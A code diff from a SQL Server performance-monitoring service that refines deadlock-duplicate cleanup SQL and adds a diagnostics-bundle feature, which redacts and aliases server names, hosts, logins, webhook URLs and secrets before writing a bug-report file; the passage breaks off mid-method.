--- a/Darling/PerformanceMonitor.Darling.Service/DatabaseWatermarkCache.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DatabaseWatermarkCache.cs
@@ -44,8 +44,8 @@ namespace PerformanceMonitor.Darling.Service;
 /// <item>value set and witness null or not above F: miss.</item>
 /// </list>
 ///
-/// <para><b>Assumption:</b> the only writers of <c>query_store_stats</c> are the runner's live path (which
-/// advances this cache), the backfill (which invalidates it) and retention (which drops whole days, never
+/// <para><b>Assumption:</b> the only writers of <c>query_store_stats</c> are the runner's live path (both of its
+/// arms, the enumerated per-item one and the Azure SQL Database per-database one, advance this cache, #5514), the backfill (which invalidates it) and retention (which drops whole days, never
 /// a row newer than the floor). Retention is configured in whole days, so it can never remove a witness
 /// row inside a three-hour floor. A new writer must invalidate this cache.
 /// A point-in-time restore, or an async-replica failover of an external store, can leave the cached value too
diff --git a/Darling/PerformanceMonitor.Darling.Service/DeadlockDuplicateCleanup.cs b/Darling/PerformanceMonitor.Darling.Service/DeadlockDuplicateCleanup.cs
index b3aeac4248..5d32dba3e6 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DeadlockDuplicateCleanup.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DeadlockDuplicateCleanup.cs
@@ -12,6 +12,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Common;
 using Npgsql;
 using NpgsqlTypes;
 using PerformanceMonitor.Darling.Storage;
@@ -164,12 +165,18 @@ FROM collect.deadlocks
     /* READ-ONLY. $1 server, $2 day start, $3 day end, $4 the cap. The window reads from $2 - 1 day so a keeper
        stored just before midnight is seen; the candidates are confined to [$2, $3). key_count = 1 leaves alone any
        row whose (collection_time, deadlock_id) is shared, so a keyed delete can never match a keeper. The graph
-       is compared with COLLATE "C" so the identity is ordinal whatever the database collation. */
+       is compared with COLLATE "C" so the identity is ordinal whatever the database collation. #4348: a graph the
+       statement filter withheld WHOLE is the marker text, the same for every such graph, so the text cannot tell two
+       deadlocks at one time apart. A marker row's identity adds its victim process id and database (the two
+       PARTITION BY CASEs, NULL for a real graph, so a real graph's identity is unchanged), and a marker row with no
+       victim process id is never a candidate. */
     private const string CandidateSql = @"
 SELECT collection_time, deadlock_id, deadlock_time, deadlock_graph_xml
 FROM (
     SELECT collection_time, deadlock_id, deadlock_time, deadlock_graph_xml,
-           row_number() OVER (PARTITION BY server_id, deadlock_time, deadlock_graph_xml COLLATE ""C""
+           row_number() OVER (PARTITION BY server_id, deadlock_time, deadlock_graph_xml COLLATE ""C"",
+                              CASE WHEN deadlock_graph_xml COLLATE ""C"" = '" + SensitiveStatements.PlaceholderText + @"' THEN victim_process_id COLLATE ""C"" END,
+                              CASE WHEN deadlock_graph_xml COLLATE ""C"" = '" + SensitiveStatements.PlaceholderText + @"' THEN COALESCE(database_name, '') COLLATE ""C"" END
                               ORDER BY collection_time, deadlock_id) AS rn,
            count(*) OVER (PARTITION BY collection_time, deadlock_id) AS key_count
     FROM collect.deadlocks
@@ -177,6 +184,8 @@ FROM collect.deadlocks
     AND   collection_time >= $2 - INTERVAL '1 day' AND collection_time < $3
     AND   deadlock_time IS NOT NULL
     AND   deadlock_graph_xml IS NOT NULL AND deadlock_graph_xml <> ''
+    AND   (deadlock_graph_xml COLLATE ""C"" <> '" + SensitiveStatements.PlaceholderText + @"'
+           OR (victim_process_id IS NOT NULL AND victim_process_id <> ''))
 ) x
 WHERE x.rn > 1
 AND   x.key_count = 1
diff --git a/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs
new file mode 100644
index 0000000000..399c8fa4fa
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs
@@ -0,0 +1,1243 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Net.NetworkInformation;
+using System.Runtime.InteropServices;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>The parsed command line of <c>--diagnostics-bundle</c>.</summary>
+internal sealed record DiagnosticsBundleOptions(
+    string OutputPath, int Hours, string? ServerName, string? LogDirectory, string? ConfigPath, bool Force, string? AliasMapPath,
+    bool IncludeLogText = false);
+
+/// <summary>One section as read, before aliasing.</summary>
+internal sealed record BundleSection(string Name, JsonNode? Node, bool Failed, Func<JsonNode?, JsonNode?>? AfterAlias = null);
+
+/// <summary>
+/// The diagnostics bundle (#5097): one aliased JSON file a user can attach to a bug report. Each section is read through
+/// the MCP reader that serves the same data, so the bundle shows what the tools show. Every name the verb can learn
+/// (the registry, the config, the store connection, the local machine, and any identifier-keyed field in a section) is
+/// replaced by an ordinal alias, secrets are redacted, and <see cref="BundleAliaser.Finish"/> proves it before one byte
+/// is written: a leak means exit 5 and no file.
+/// </summary>
+internal static class DiagnosticsBundle
+{
+    /// <summary>The format version in the manifest.</summary>
+    internal const int FormatVersion = 1;
+
+    internal const int DefaultHours = 24;
+    internal const int MaxHours = 168;
+    internal const int TotalCapBytes = 4 * 1024 * 1024;
+    internal const int DefaultSectionBudgetBytes = 128 * 1024;
+    internal const int HealthFanOutBudgetBytes = 768 * 1024;
+    internal const int SectionTimeoutSeconds = 60;
+
+    /// <summary>The line the alias-map file starts with.</summary>
+    internal const string AliasMapWarning = "DO NOT ATTACH: this file maps the aliases in a diagnostics bundle back to real names.";
+
+    internal static readonly JsonSerializerOptions WriteOptions = new() { WriteIndented = true, Encoder = System.Text.Encodings.Web.JavaScriptEncoder.UnsafeRelaxedJsonEscaping };
+
+    /// <summary>The byte budget of each named section; any other section gets <see cref="DefaultSectionBudgetBytes"/>.</summary>
+    internal static readonly IReadOnlyDictionary<string, int> SectionBudgets = new Dictionary<string, int>(StringComparer.Ordinal)
+    {
+        ["collection"] = 1024 * 1024,
+        ["slow_reads"] = 1024 * 1024,
+        ["service_log"] = 768 * 1024,
+        ["store_statements"] = 512 * 1024,
+        ["store_log"] = 256 * 1024,
+    };
+
+    /// <summary>
+    /// The DarlingConfig properties the <c>config_shape</c> section reads, as <c>Type.Property</c>. A property in
+    /// neither this list nor <see cref="ConfigShapeExcluded"/> fails a reflection test, so a new setting is classified
+    /// before it can reach a bundle.
+    /// </summary>
+    internal static readonly string[] ConfigShapeProjected =
+    {
+        "DarlingConfig.Postgres", "DarlingConfig.Servers", "DarlingConfig.Analyzer", "DarlingConfig.CapturePlans",
+        "DarlingConfig.Mcp", "DarlingConfig.Web", "DarlingConfig.QueryStatsDeferredPlanFetch", "DarlingConfig.ProcedureStatsDeferredPlanFetch", "PostgresConfig.Managed", "PostgresConfig.ConnectionString",
+        "PostgresConfig.Network", "McpConfig.Enabled", "McpConfig.Network", "WebConfig.Enabled", "WebConfig.Network",
+        "MonitoredServer.Engine", "MonitoredServer.AlertDeliveryModeOverride",
+    };
+
+    /// <summary>The properties deliberately not projected: tuning numbers, free text, hosts, names and secrets.</summary>
+    internal static readonly string[] ConfigShapeExcluded =
+    {
+        "DarlingConfig.QueryStoreBackfillEnabled",
+        "DarlingConfig.QueryStoreTextBudgetMb",
+        "DarlingConfig.PlanContentRetentionDays",
+        "DarlingConfig.ComposeStatementTimeoutSeconds",
+        "DarlingConfig.PlanXmlCompression",
+        "DarlingConfig.MaxConcurrentSweeps",
+        "DarlingConfig.CollectSchemaChangeEvents",
+        "DarlingConfig.RawChunkIntervalReconcileEnabled",
+        "DarlingConfig.ProcedureStatsPlanCycleInterval",
+        "DarlingConfig.Alerts",
+        "DarlingConfig.Smtp",
+        "DarlingConfig.Webhooks",
+        "DarlingConfig.NotificationRoutes",
+        "DarlingConfig.Analysis",
+        "DarlingConfig.ForcePlanBot",
+        "DarlingConfig.Peers",
+        "DarlingConfig.Heartbeat",
+        "PostgresConfig.WebConnectionString",
+        "PostgresConfig.McpConnectionString",
+        "PostgresConfig.Port",
+        "PostgresConfig.DataDirectory",
+        "PostgresConfig.ConnectAs",
+        "McpConfig.Port",
+        "WebConfig.Port",
+        "WebConfig.PublicBaseUrl",
+        "MonitoredServer.Name",
+        "MonitoredServer.Host",
+        "MonitoredServer.Port",
+        "MonitoredServer.Database",
+        "MonitoredServer.Auth",
+        "MonitoredServer.Username",
+        "MonitoredServer.EncryptedPassword",
+        "MonitoredServer.Password",
+        "MonitoredServer.ReadOnlyIntent",
+        "MonitoredServer.TrustServerCertificate",
+        "MonitoredServer.EncryptMode",
+        "MonitoredServer.MultiSubnetFailover",
+        "MonitoredServer.ExcludedDatabases",
+        "MonitoredServer.MonthlyCostUsd",
+        "MonitoredServer.StoredServerId",
+        "MonitoredServer.PlanForceBotEnabled",
+        "MonitoredServer.RemediationUsername",
+        "MonitoredServer.RemediationEncryptedPassword",
+        /* #5452: the AWS roles a deployment may use, the role a server assumes and its external ID are an account's
+           identifiers and a secret. The bundle seeds all three into the name set instead of projecting them. */
+        "DarlingConfig.AllowedAwsRoles",
+        "MonitoredServer.AwsRoleArn",
+        "MonitoredServer.AwsExternalId",
+    };
+
+    internal static JsonObject BuildConfigShape(DarlingConfig config)
+    {
+        var byEngine = new JsonObject();
+        /* Keyed by the parsed engine, never by the free text of the config: an unrecognized Engine string is
+           user-typed text, and a key is never aliased. */
+        foreach (var group in config.Servers.GroupBy(s => s.TargetEngine).OrderBy(g => g.Key.ToString(), StringComparer.Ordinal))
+        {
+            byEngine[group.Key.ToString().ToLowerInvariant()] = group.Count();
+        }
+
+        var modes = new JsonArray();
+        foreach (var mode in config.Servers.Select(s => s.AlertDeliveryModeOverride?.ToString()).Where(m => m is not null).Distinct(StringComparer.Ordinal).OrderBy(m => m, StringComparer.Ordinal))
+        {
+            modes.Add(mode);
+        }
+
+        return new JsonObject
+        {
+            ["postgres_managed"] = config.Postgres?.Managed ?? false,
+            ["postgres_uses_connection_string"] = !string.IsNullOrWhiteSpace(config.Postgres?.ConnectionString),
+            ["postgres_network_exposed"] = config.Postgres?.Network is not null,
+            ["server_count"] = config.Servers.Count,
+            ["servers_by_engine"] = byEngine,
+            ["mcp_enabled"] = config.Mcp?.Enabled ?? false,
+            ["mcp_network_exposed"] = config.Mcp?.Network is not null,
+            ["web_enabled"] = config.Web?.Enabled ?? false,
+            ["web_network_exposed"] = config.Web?.Network is not null,
+            ["analyzer_present"] = config.Analyzer is not null,
+            ["capture_plans"] = config.CapturePlans,
+            ["query_stats_deferred_plan_fetch"] = config.QueryStatsDeferredPlanFetch,
+            // The PARSED mode word, never the raw text (free config text); an unknown value runs as off, so it reports off.
+            ["procedure_stats_deferred_plan_fetch"] = ProcedureStatsPlanFetchModes.TryParse(config.ProcedureStatsDeferredPlanFetch, out var psMode)
+                ? psMode.ToString().ToLowerInvariant() : "off",
+            ["alert_delivery_override_modes"] = modes,
+        };
+    }
+
+    /// <summary>
+    /// The password key's part of the store section (#5366): the published key's id as the service log prints it, and the
+    /// newest service state word with the id the service holds and when it wrote it. Never the key, the key's public
+    /// bytes, the service's host name or its note (free text). <paramref name="state"/> is null when no service has written
+    /// a row.
+    /// </summary>
+    internal static JsonObject BuildPasswordKeyInfo(PublishedPasswordKey? published, PasswordKeyServiceState? state)
+    {
+        return new JsonObject
+        {
+            ["status"] = published is null ? "not_published" : "ok",
+            ["published_key_id"] = published is null ? null : PasswordSeal.DisplayKeyId(published.KeyId),
+            ["service_state"] = state?.State,
+            ["service_key_id"] = string.IsNullOrEmpty(state?.KeyId) ? null : PasswordSeal.DisplayKeyId(state!.KeyId!),
+            ["service_updated_at_utc"] = state?.UpdatedAtUtc.ToString("yyyy-MM-dd'T'HH:mm:ss'Z'", CultureInfo.InvariantCulture),
+        };
+    }
+
+    /// <summary>Parses the arguments after the verb. Returns the options, or the error sentence.</summary>
+    internal static (DiagnosticsBundleOptions? Options, string? Error) ParseArgs(string[] args)
+    {
+        string? path = null, server = null, logDir = null, config = null, aliasMap = null;
+        var hours = DefaultHours;
+        var force = false;
+        var includeLogText = false;
+        for (var i = 0; i < args.Length; i++)
+        {
+            var arg = args[i];
+            string? Next() => i + 1 < args.Length ? args[++i] : null;
+            if (string.Equals(arg, "--force", StringComparison.OrdinalIgnoreCase))
+            {
+                force = true;
+            }
+            else if (string.Equals(arg, "--include-log-text", StringComparison.OrdinalIgnoreCase))
+            {
+                includeLogText = true;
+            }
+            else if (string.Equals(arg, "--hours", StringComparison.OrdinalIgnoreCase))
+            {
+                var value = Next();
+                if (!int.TryParse(value, NumberStyles.None, CultureInfo.InvariantCulture, out hours) || hours < 1 || hours > MaxHours)
+                {
+                    return (null, $"--hours needs a whole number from 1 to {MaxHours} (got '{value}').");
+                }
+            }
+            else if (string.Equals(arg, "--server", StringComparison.OrdinalIgnoreCase))
+            {
+                server = Next();
+                if (string.IsNullOrWhiteSpace(server))
+                {
+                    return (null, "--server needs a server name.");
+                }
+            }
+            else if (string.Equals(arg, "--log-dir", StringComparison.OrdinalIgnoreCase))
+            {
+                logDir = Next();
+                if (string.IsNullOrWhiteSpace(logDir))
+                {
+                    return (null, "--log-dir needs a directory.");
+                }
+            }
+            else if (string.Equals(arg, "--config", StringComparison.OrdinalIgnoreCase))
+            {
+                config = Next();
+                if (string.IsNullOrWhiteSpace(config))
+                {
+                    return (null, "--config needs a path.");
+                }
+            }
+            else if (string.Equals(arg, "--alias-map", StringComparison.OrdinalIgnoreCase))
+            {
+                aliasMap = Next();
+                if (string.IsNullOrWhiteSpace(aliasMap))
+                {
+                    return (null, "--alias-map needs a path.");
+                }
+            }
+            else if (arg.StartsWith("--", StringComparison.Ordinal))
+            {
+                return (null, $"Unknown option '{arg}'.");
+            }
+            else if (path is null)
+            {
+                path = arg;
+            }
+            else
+            {
+                return (null, $"Only one output path is allowed (got a second: '{arg}').");
+            }
+        }
+
+        if (string.IsNullOrWhiteSpace(path))
+        {
+            return (null, "An output path is required.");
+        }
+
+        if (string.IsNullOrEmpty(Path.GetExtension(path)))
+        {
+            /* "out." has no extension either; appending would give "out..json". */
+            path = path.TrimEnd('.') + ".json";
+        }
+
+        return (new DiagnosticsBundleOptions(path, hours, server, logDir, config, force, aliasMap, includeLogText), null);
+    }
+
+    /// <summary>
+    /// Checks the alias-map location before any work: the map must never share a path with the bundle (the map would
+    /// replace the attachable file with the real-name map), and an existing map file needs <c>--force</c>. Returns the
+    /// refusal sentence, or null.
+    /// </summary>
+    internal static string? CheckAliasMap(DiagnosticsBundleOptions options)
+    {
+        if (options.AliasMapPath is null)
+        {
+            return null;
+        }
+
+        if (string.IsNullOrWhiteSpace(options.AliasMapPath))
+        {
+            return "--alias-map needs a path.";
+        }
+
+        var comparison = OperatingSystem.IsWindows() || OperatingSystem.IsMacOS() ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal;
+        string map, bundle;
+        try
+        {
+            map = ResolveLinks(options.AliasMapPath);
+            bundle = ResolveLinks(options.OutputPath);
+        }
+        catch (UninspectableComponentException)
+        {
+            return "--alias-map could not be resolved (a path component could not be inspected), so the bundle cannot prove the map is a different file.";
+        }
+        catch (Exception ex) when (ex is ArgumentException or NotSupportedException or PathTooLongException)
+        {
+            return "--alias-map is not a usable path (" + ex.GetType().Name + ").";
+        }
+
+        if (string.Equals(map, bundle, comparison))
+        {
+            return "--alias-map must be a different file from the bundle: the map holds the real names.";
+        }
+
+        if (File.Exists(options.AliasMapPath) && !options.Force)
+        {
+            return "The alias map file already exists; pass --force to replace it.";
+        }
+
+        return null;
+    }
+
+    /// <summary>
+    /// The full path of <paramref name="path"/> with every symbolic link on it followed: each existing component is
+    /// resolved in turn, so a link to a file that does not exist yet still compares equal to that file's own path, and
+    /// a path inside a linked directory compares by the directory's real location plus the file name. A component that
+    /// does not exist is kept as written; one that cannot be inspected throws, since what it links to is unknown.
+    /// </summary>
+    internal static string ResolveLinks(string path, int depth = 0)
+    {
+        var full = Path.GetFullPath(path);
+        if (depth > 16)
+        {
+            return full;
+        }
+
+        var root = Path.GetPathRoot(full) ?? string.Empty;
+        var current = root;
+        foreach (var part in full[root.Length..].Split(new[] { Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }, StringSplitOptions.RemoveEmptyEntries))
+        {
+            current = Path.Combine(current, part);
+            try
+            {
+                /* The attributes, not Directory.Exists, pick the kind: a directory link or junction that cannot be traversed reports
+                   Exists false, and its reparse point must still be followed. */
+                var attributes = File.GetAttributes(current);
+                FileSystemInfo info = (attributes & FileAttributes.Directory) != 0 ? new DirectoryInfo(current) : new FileInfo(current);
+                var target = info.ResolveLinkTarget(returnFinalTarget: true);
+                if (target is not null)
+                {
+                    current = ResolveLinks(target.FullName, depth + 1);
+                }
+            }
+            catch (Exception ex) when (ex is FileNotFoundException or DirectoryNotFoundException)
+            {
+                /* A component that does not exist yet is compared as written. */
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+            {
+                /* The component exists (or may) but cannot be inspected, so what it links to is unknown. */
+                throw new UninspectableComponentException(ex);
+            }
+        }
+
+        return current;
+    }
+
+    /// <summary>A path component that cannot be inspected, so the path cannot be resolved.</summary>
+    private sealed class UninspectableComponentException : Exception
+    {
+        public UninspectableComponentException(Exception inner) : base("A path component could not be inspected.", inner)
+        {
+        }
+    }
+
+    /// <summary>Checks the output location before any work: an existing file without --force, or a missing or unwritable directory, is exit 4.</summary>
+    internal static string? CheckOutput(DiagnosticsBundleOptions options)
+    {
+        if (File.Exists(options.OutputPath) && !options.Force)
+        {
+            return "The output file already exists; pass --force to replace it.";
+        }
+
+        var directory = Path.GetDirectoryName(Path.GetFullPath(options.OutputPath));
+        if (string.IsNullOrEmpty(directory) || !Directory.Exists(directory))
+        {
+            return "The output directory does not exist.";
+        }
+
+        try
+        {
+            var probe = Path.Combine(directory, ".diag-bundle-probe-" + Guid.NewGuid().ToString("N"));
+            File.WriteAllText(probe, string.Empty);
+            File.Delete(probe);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return "The output directory is not writable (" + ex.GetType().Name + ").";
+        }
+
+        return null;
+    }
+
+    /// <summary>
+    /// Seeds the name set from darling.json and the local machine: every configured server's name, host and database,
+    /// the store connection string's hosts, database and login, the machine and domain names, and the secrets (every
+    /// string in the config under a secret-named key, and the store password). <paramref name="keyRing"/> opens the sealed
+    /// webhook values (see <see cref="SeedNotificationIdentifiers"/>); the notes it returns include the one saying webhook
+    /// hosts could not be aliased.
+    /// </summary>
+    internal static IReadOnlyList<string> SeedFromConfig(
+        BundleAliaser aliaser, DarlingConfig config, string? storeConnectionString, IPasswordKeyRing? keyRing = null)
+    {
+        foreach (var server in config.Servers)
+        {
+            aliaser.AddName(AliasKind.Server, server.Name);
+            aliaser.AddName(AliasKind.Host, server.Host);
+            aliaser.AddName(AliasKind.Database, server.Database);
+            aliaser.AddName(AliasKind.Login, server.Username);
+            aliaser.AddName(AliasKind.Login, server.RemediationUsername);
+            foreach (var excluded in server.ExcludedDatabases ?? new List<string>())
+            {
+                aliaser.AddName(AliasKind.Database, excluded);
+            }
+
+            SeedAwsRole(aliaser, server.AwsRoleArn, server.AwsExternalId);
+        }
+
+        foreach (var allowed in config.AllowedAwsRoles ?? new List<string>())
+        {
+            SeedAwsRole(aliaser, allowed, externalId: null);
+        }
+
+        try
+        {
+            if (JsonSerializer.SerializeToNode(config) is { } tree)
+            {
+                AddSecretsFrom(aliaser, tree, secretKey: false);
+            }
+        }
+        catch (Exception ex) when (ex is NotSupportedException or InvalidOperationException or JsonException)
+        {
+            /* A config shape the serializer cannot walk adds no secrets here; the connection-string password below
+               and the guard on every string still apply. */
+        }
+
+        foreach (var cs in new[] { storeConnectionString, config.Postgres?.ConnectionString, config.Postgres?.WebConnectionString, config.Postgres?.McpConnectionString })
+        {
+            SeedFromConnectionString(aliaser, cs);
+        }
+
+        var notes = new List<string>(SeedNotificationIdentifiers(aliaser, config, keyRing));
+        notes.AddRange(AddLocalIdentity(aliaser));
+        return notes;
+    }
+
+    /// <summary>The line the bundle carries when a sealed webhook value could not be opened, so its host could not be
+    /// registered.</summary>
+    internal const string WebhookHostsNotAliasedNote =
+        "Webhook hosts could not be aliased: a saved webhook value is sealed and the password key could not open it.";
+
+    /// <summary>
+    /// The other places a config names a host: the SMTP host, the domains of the From and To addresses, the dashboard's
+    /// public base URL, the MCP listener's host name, and every webhook URL and proxy. A webhook URL carries its secret
+    /// in the path, so each is also a secret. A sealed value is opened with <paramref name="keyRing"/> (the service's own
+    /// ring when the service makes the bundle, or the key file read only when the CLI does) and its host and value are
+    /// registered too; when a sealed value cannot be opened, the returned notes say webhook hosts could not be aliased.
+    /// </summary>
+    internal static IReadOnlyList<string> SeedNotificationIdentifiers(BundleAliaser aliaser, DarlingConfig config, IPasswordKeyRing? keyRing = null)
+    {
+        if (config.Smtp is { } smtp)
+        {
+            aliaser.AddName(AliasKind.Host, smtp.Host);
+            AddAddressDomains(aliaser, smtp.From);
+            AddAddressDomains(aliaser, smtp.To);
+
+            /* The SMTP login is a name (and often an address): its domain half too. */
+            aliaser.AddName(AliasKind.Login, smtp.Username);
+            var atUser = smtp.Username?.LastIndexOf('@') ?? -1;
+            if (atUser > 0)
+            {
+                aliaser.AddName(AliasKind.Login, smtp.Username![..atUser]);
+            }
+
+            AddAddressDomains(aliaser, smtp.Username);
+        }
+
+        /* A route's destinations: each webhook URL is a host and a secret, the routing key is a secret, and the
+           recipient list names mail domains. */
+        foreach (var route in config.NotificationRoutes ?? Array.Empty<PerformanceMonitor.Notifications.NotificationRoute>())
+        {
+            foreach (var url in new[] { route.TeamsUrl, route.SlackUrl, route.GenericUrl })
+            {
+                AddUrlHost(aliaser, url);
+                aliaser.AddSecret(url);
+            }
+
+            aliaser.AddSecret(route.PagerDutyRoutingKey);
+            AddAddressDomains(aliaser, route.SmtpRecipients);
+        }
+
+        AddUrlHost(aliaser, config.Web?.PublicBaseUrl);
+        AddMcpHostName(aliaser, config.Mcp?.Network?.HostName);
+        if (config.Webhooks is { } hooks)
+        {
+            foreach (var url in new[] { hooks.TeamsUrl, hooks.SlackUrl, hooks.GenericUrl })
+            {
+                AddUrlHost(aliaser, url);
+                aliaser.AddSecret(url);
+            }
+
+            foreach (var proxy in new[] { hooks.TeamsProxy, hooks.SlackProxy, hooks.GenericProxy })
+            {
+                AddUrlHost(aliaser, proxy);
+            }
+        }
+
+        SeedHeartbeat(aliaser, config.Heartbeat);
+        return SeedSealedWebhookValues(aliaser, config, keyRing);
+    }
+
+    /// <summary>
+    /// The heartbeat's check URL (#5460): its host is aliased, because the failure warning names scheme and host and a
+    /// self-hosted check host is as identifying as a webhook's, and the URL itself is a secret, as a webhook URL is. A
+    /// <c>env:</c>/<c>file:</c> reference is resolved here (every failure swallowed: a bundle never fails on it, and the
+    /// read is capped and timed out) and what it holds is registered the same way.
+    /// </summary>
+    private static void SeedHeartbeat(BundleAliaser aliaser, HeartbeatConfig? heartbeat)
+    {
+        if (heartbeat is null || !heartbeat.IsConfigured)
+        {
+            return;
+        }
+
+        var written = heartbeat.Url!.Trim();
+        if (!DarlingSecretSource.IsReference(written))
+        {
+            AddUrlHost(aliaser, written);
+            aliaser.AddSecret(written);
+            return;
+        }
+
+        try
+        {
+            var (uri, _) = Task.Run(() => heartbeat.ResolveAsync(CancellationToken.None)).GetAwaiter().GetResult();
+            if (uri is not null)
+            {
+                AddUrlHost(aliaser, uri.OriginalString);
+                aliaser.AddSecret(uri.OriginalString);
+            }
+        }
+        catch (Exception)
+        {
+            /* Unresolvable here (the operator's shell may not see the service's variable or file): nothing to register. */
+        }
+    }
+
+    /// <summary>Opens the sealed webhook values and registers what they hold: each URL's host and the URL itself, each
+    /// routing key, and each header value. Returns the note when any sealed value stayed closed.</summary>
+    private static string[] SeedSealedWebhookValues(BundleAliaser aliaser, DarlingConfig config, IPasswordKeyRing? keyRing)
+    {
+        var hooks = config.Webhooks ?? new WebhooksConfig();
+        var routes = config.NotificationRoutes ?? new List<PerformanceMonitor.Notifications.NotificationRoute>();
+        var anySealed = new[] { hooks.TeamsUrl, hooks.SlackUrl, hooks.GenericUrl, hooks.GenericHeaders, hooks.PagerDutyRoutingKey }.Any(PasswordSeal.IsSealed)
+            || routes.Any(r => new[] { r.TeamsUrl, r.SlackUrl, r.GenericUrl, r.PagerDutyRoutingKey }.Any(PasswordSeal.IsSealed));
+        if (!anySealed)
+        {
+            return Array.Empty<string>();
+        }
+
+        if (keyRing is null || !keyRing.Status.CanSeal)
+        {
+            return new[] { WebhookHostsNotAliasedNote };
+        }
+
+        var opened = DarlingWebhookSecrets.Open(hooks, routes, keyRing);
+        foreach (var url in new[] { opened.Webhooks.TeamsUrl, opened.Webhooks.SlackUrl, opened.Webhooks.GenericUrl }
+                     .Concat(opened.Routes.SelectMany(r => new[] { r.TeamsUrl, r.SlackUrl, r.GenericUrl })))
+        {
+            AddUrlHost(aliaser, url);
+            aliaser.AddSecret(url);
+        }
+
+        aliaser.AddSecret(opened.Webhooks.PagerDutyRoutingKey);
+        foreach (var route in opened.Routes)
+        {
+            aliaser.AddSecret(route.PagerDutyRoutingKey);
+        }
+
+        AddHeaderValues(aliaser, opened.Webhooks.GenericHeaders);
+        return opened.Failures.Count == 0 ? Array.Empty<string>() : new[] { WebhookHostsNotAliasedNote };
+    }
+
+    /// <summary>Registers each string value of a headers JSON object as a secret. Text that is not a JSON object adds nothing.</summary>
+    private static void AddHeaderValues(BundleAliaser aliaser, string? headersJson)
+    {
+        if (string.IsNullOrWhiteSpace(headersJson))
+        {
+            return;
+        }
+
+        try
+        {
+            if (JsonNode.Parse(headersJson) is JsonObject headers)
+            {
+                foreach (var header in headers)
+                {
+                    if (header.Value is JsonValue v && v.TryGetValue<string>(out var text))
+                    {
+                        aliaser.AddSecret(text);
+                    }
+                }
+            }
+        }
+        catch (JsonException)
+        {
+            /* Not a headers object: nothing to register. */
+        }
+    }
+
+    /// <summary>Registers the domain of every address in a comma- or semicolon-separated list.</summary>
+    private static void AddAddressDomains(BundleAliaser aliaser, string? list)
+    {
+        foreach (var address in (list ?? string.Empty).Split(new[] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries))
+        {
+            var at = address.LastIndexOf('@');
+            if (at >= 0 && at < address.Length - 1)
+            {
+                aliaser.AddDomain(address[(at + 1)..]);
+            }
+        }
+    }
+
+    private static void AddUrlHost(BundleAliaser aliaser, string? url)
+    {
+        if (!string.IsNullOrWhiteSpace(url) && Uri.TryCreate(url.Trim(), UriKind.Absolute, out var uri) && !string.IsNullOrEmpty(uri.Host))
+        {
+            aliaser.AddName(AliasKind.Host, uri.Host);
+        }
+    }
+
+    /// <summary>
+    /// <c>mcp.network.hostName</c> is a DNS name the operator typed, and the service log writes it in two spellings: the
+    /// certificate-name warning names the normalized form (the trailing dot dropped, an internationalized name in its
+    /// ASCII form) at every start, and the warning for a value that is not a bare DNS name echoes it as written. Both
+    /// are registered, and so is the host of a URL-shaped value, because the Host-header refusals that follow a refused
+    /// value name that host on its own (#5288).
+    /// </summary>
+    private static void AddMcpHostName(BundleAliaser aliaser, string? hostName)
+    {
+        var written = hostName?.Trim();
+        aliaser.AddName(AliasKind.Host, written);
+        aliaser.AddName(AliasKind.Host, McpNetworkConfig.NormalizeHostName(written));
+        AddUrlHost(aliaser, written);
+    }
+
+    /// <summary>Adds a connection string's hosts, database and login as names and its password as a secret.</summary>
+    internal static void SeedFromConnectionString(BundleAliaser aliaser, string? connectionString)
+    {
+        if (string.IsNullOrWhiteSpace(connectionString))
+        {
+            return;
+        }
+
+        try
+        {
+            var builder = new NpgsqlConnectionStringBuilder(connectionString);
+            aliaser.AddNameList(AliasKind.Host, builder.Host);
+            aliaser.AddName(AliasKind.Database, builder.Database);
+            aliaser.AddName(AliasKind.Login, builder.Username);
+            aliaser.AddSecret(builder.Password);
+        }
+        catch (Exception ex) when (ex is ArgumentException or FormatException or KeyNotFoundException)
+        {
+            /* An unparseable string adds nothing; the text guard still redacts its password shape wherever it appears. */
+        }
+    }
+
+    private static readonly System.Text.RegularExpressions.Regex s_awsRoleAccount = new(
+        @"^arn:aws(?:-[a-z]+)*:iam::(?<account>[0-9]{12}):",
+        System.Text.RegularExpressions.RegexOptions.CultureInvariant | System.Text.RegularExpressions.RegexOptions.ExplicitCapture,
+        TimeSpan.FromSeconds(1));
+
+    /// <summary>
+    /// Registers an AWS role for the name set (#5452): the role ARN and the 12-digit account id in it, or the account id
+    /// alone (an <c>allowedAwsRoles</c> entry may be either), and the external ID as a secret. The ID is never printed;
+    /// it only has to be found and removed wherever it turns up.
+    /// </summary>
+    internal static void SeedAwsRole(BundleAliaser aliaser, string? roleOrAccount, string? externalId)
+    {
+        var role = roleOrAccount?.Trim();
+        if (!string.IsNullOrEmpty(role))
+        {
+            aliaser.AddName(AliasKind.Role, role);
+            /* A partition-qualified account entry (aws-cn:123456789012): the account id alone is named too. */
+            var colon = role.LastIndexOf(':');
+            if (colon > 0 && role.Length - colon - 1 == 12 && role.AsSpan(colon + 1).IndexOfAnyExceptInRange('0', '9') < 0
+                && role.StartsWith("aws", StringComparison.Ordinal) && role.IndexOf(':') == colon)
+            {
+                aliaser.AddName(AliasKind.Role, role.Substring(colon + 1));
+            }
+
+            try
+            {
+                var match = s_awsRoleAccount.Match(role);
+                if (match.Success)
+                {
